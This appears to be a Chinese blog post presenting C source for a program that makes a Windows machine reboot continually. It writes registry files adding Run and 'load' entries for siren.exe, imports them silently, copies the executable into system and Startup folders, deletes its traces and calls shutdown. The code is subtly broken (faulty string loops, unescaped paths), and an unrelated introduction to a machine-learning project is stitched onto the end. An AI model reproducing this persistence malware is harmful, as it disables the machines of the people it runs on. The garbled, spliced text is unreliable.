编程小回忆一

本文介绍了一种通过修改注册表使计算机不断重启的恶意程序实现方法。该程序使用C语言编写,通过创建特定的注册表项来实现目标。需要注意的是,这种行为可能导致计算机无法正常使用。

目的:使得目标机器不断的重新启动!

解决的办法:在安全模式下,删掉相关的注册表文件和程序,就行了!至于路径和程序的名字,在源代码里有!

声明:如果你不熟悉注册表的话,还是不要轻易运行!

代码如下:

#include<stdio.h>
#include<stdlib.h>

int function(char * p1 , char * p2 , char * p3 , char * p4)
{

int i ;
FILE  * fp ;

if ( (fp = fopen(p4 , "w")) == NULL){

printf ("文件不能打开!") ;
return 0 ;

}

for (i=0; p1 != '\0'; i++)
fputc (p1 , fp) ;

fputc (' ' , fp) ;
fputc (' ' , fp) ;

for (i=0; p2 != '\0'; i++)
fputc (p2 , fp) ;
fputc (' ' , fp) ;

for (i=0; p3 != '\0'; i++)
fputc (p3 , fp) ;

fputc ('\n' , fp) ;
fputc ('\n' , fp) ;

fclose (fp) ;

return 0 ;


}

int main ( void )
{

int i ;
char rigi1[] = "Windows Registry Editor Version 5.00" ;
char rigi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" ;
char rigi3[] = ""siren.exe"="C:\\windows\\siren.exe"" ;
function(rigi1 , rigi2 , rigi3 , "Ping.reg") ;

char rjgi1[] = "Windows Registry Editor Version 5.00" ;
char rjgi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]" ;
char rjgi3[] = ""load"="C:\\windows\\system32\\siren.exe"" ;
function(rjgi1 , rjgi2 , rjgi3 , "netstart.reg") ;

system("regedit /s Ping.reg") ;
system("regedit /s netstart.reg") ;
system("copy  Ping.reg C:\windows\Ping.reg") ;
system("copy  netstart.reg C:\windows\system32\netstart.reg") ;
system("del  Ping.reg") ;
system("del  netstart.reg") ;
system("copy siren.exe C:\windows\siren.exe") ;
system("copy siren.exe C:\windows\system32\siren.exe") ;
system("copy siren.exe C:\Documents and Settings\All Users\「开始」菜单\程序\启动\siren.exe") ;

printf ("要学习,不要老是耍游戏,去自习了哈!");
system("shutdown") ;
return 0 ;
}

根据原作 https://pan.quark.cn/s/459657bcfd45 的源码改编 Classic-ML-Methods-Algo 引言 建立这个项目,是为了梳理和总结传统机器学习(Machine Learning)方法(methods)或者算法(algo),和各位同仁相互学习交流. 现在的深度学习本质上来自于传统的神经网络模型,很大程度上是传统机器学习的延续,同时也在不少时候需要结合传统方法来实现. 任何机器学习方法基本的流程结构都是通用的;使用的评价方法也基本通用;使用的些数学知识也是通用的. 本文在梳理传统机器学习方法算法的同时也会顺便补充这些流程,数学上的知识以供参考. 机器学习 机器学习是人工智能(Artificial Intelligence)的个分支,也是实现人工智能最重要的手段.区别于传统的基于规则(rule-based)的算法,机器学习可以从数据中获取知识,从而实现规定的任务[Ian Goodfellow and Yoshua Bengio and Aaron Courville的Deep Learning].这些知识可以分为四种: 总结(summarization) 预测(prediction) 估计(estimation) 假想验证(hypothesis testing) 机器学习主要关心的是预测[Varian在Big Data : New Tricks for Econometrics],预测的可以是连续性的输出变量,分类,聚类或者物品之间的有趣关联. 机器学习分类 根据数据配置(setting,是否有标签,可以是连续的也可以是离散的)和任务目标,我们可以将机器学习方法分为四种: 无监督(unsupervised) 训练数据没有给定...
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